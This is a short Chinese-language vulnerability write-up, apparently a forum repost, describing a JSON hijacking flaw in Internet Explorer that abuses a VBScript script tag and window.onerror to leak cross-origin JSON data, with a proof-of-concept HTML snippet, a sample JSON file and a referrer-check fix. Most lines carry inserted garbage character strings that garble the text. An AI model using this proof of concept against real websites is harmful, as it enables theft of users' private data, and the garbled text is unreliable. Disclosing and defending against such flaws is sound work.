IE通用JSON劫持漏洞

admin

简要描述：

( e, H% u2 n0 _* h' U由于某些资源容器对数据处理不当导致json劫持漏洞.
+ c1 P  I$ D. h4 B, Q8 [9 s( i详细说明：
由于ie支持vbscript,所以script元素可以指定成vbscript语言:
<script language=vbscript></script>

/ M! o" o9 l. I% I' ]1 }: O- H当但我们指定的是一个js格式的文件是将会发现一个异常,这使我们通过捕获这个异常的信息来获得部分json数据.
漏洞证明：
<script>
2 D. N5 e$ }/ M  Z; L& {1 ywindow.onerror=function(_){
5 E* b5 E$ q( \. T% Walert(_)
" u' S& D7 `( F7 I0 M}
, W+ v3 {$ @% S4 y; R+ S; C</script>
% v( c2 C; v  V; L/ V' k<script language=vbscript src=1.json></script>

, e  d& {. D8 C( T8 e2 b
1.json:
[{"name":"sogili","age":19}]
0 T5 J. a4 x* W; P* u7 {修复方案：
网站业务对于这个问题可以通过验证referrer是否为同源来防御